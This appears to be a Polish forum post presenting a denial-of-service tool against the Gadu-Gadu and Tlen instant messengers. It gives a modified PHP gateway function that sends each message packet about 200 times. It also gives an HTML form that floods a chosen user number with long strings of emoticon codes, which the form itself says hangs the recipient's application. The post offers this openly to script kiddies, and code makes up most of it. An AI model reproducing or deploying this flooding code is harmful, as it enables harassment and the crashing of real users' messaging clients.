GG-DOS
Jak juz pewnie wszyscy slyszeli w gg i tlenie jest luka (duzo obrazkow= duze obciazenie cpu)==zawieszenie komunikatoraw tym arcie chce tylko zaprezentowac zmodyfikowana bramke www2gg jako pewna rodzaju zabawke dla script kiddies , jednakrze umieszczam w niej blad ktory kazdy programista odrazu poprawi...oto kod zmienionej funkcji Kod:
################### #to nas interesuje# ################### function wyslij_wiadomosc($adresat, $tresc, $potwierdzenie = TRUE); { $tresc = txt::iso2cp($tresc); $seq = mt_rand(); $data = pack("VVVVVa".strlen($tresc)."C", GG_SEND_MSG, 0x0d + strlen($tresc), $adresat, $seq, ($potwierdzenie)?GG_CLASS_MSG:GG_CLASS_MSG | GG_CLASS_ACK, $tresc, 0); $this->Debug("Wyslano pakiet wiadomo¶ci : ".bin2hex($data), $data); $this->status_dostarczenia[$seq] = FALSE; //zmieni sie przy otrzymaniu potwierdzenia for($z=2;$z<=200;$z++){ fwrite($this->fp, $data); } if (!fwrite($this->fp, $data)) return FALSE; return $seq; } #################### #koniec tej funkcji# ####################
teraz kod index.html:Kod:
<HTML> <HEAD> <TITLE>Bramka www2gg</TITLE> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2"> </HEAD> <BODY> <div align="left"></div> <FORM NAME="www2gg" METHOD="post" ACTION="www2gg.php"> <P ALIGN="LEFT"> SKRYPT ZAWIESZA APLIKACJE ODBIORCY ;] <BR> <BR> Odbiorca : <INPUT TYPE="text" NAME="adresat" MAXLENGTH="7" SIZE="7" VALUE=""> <br><select name="tresc"><option value=":*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*: *:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*: *:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*: *:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*"> gadu gadu </option><option value="<UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH& gt;<UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH>& lt;UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH><U ŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH><UŚMIE CH><UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH&g t;<UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH>&l t;UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH><UŚ MIECH><UŚMIECH><UŚMIECH><UŚMIECH><UŚMIEC H><UŚMIECH><UŚMIECH>">TLEN</option></ select> <INPUT TYPE="submit" NAME="Submit" VALUE="Wyslij"> </P> <P ALIGN="LEFT"><BR> </P> </FORM> <P> </P> </BODY> </HTML>
i to by bylo na tyle...
xxinfernoxx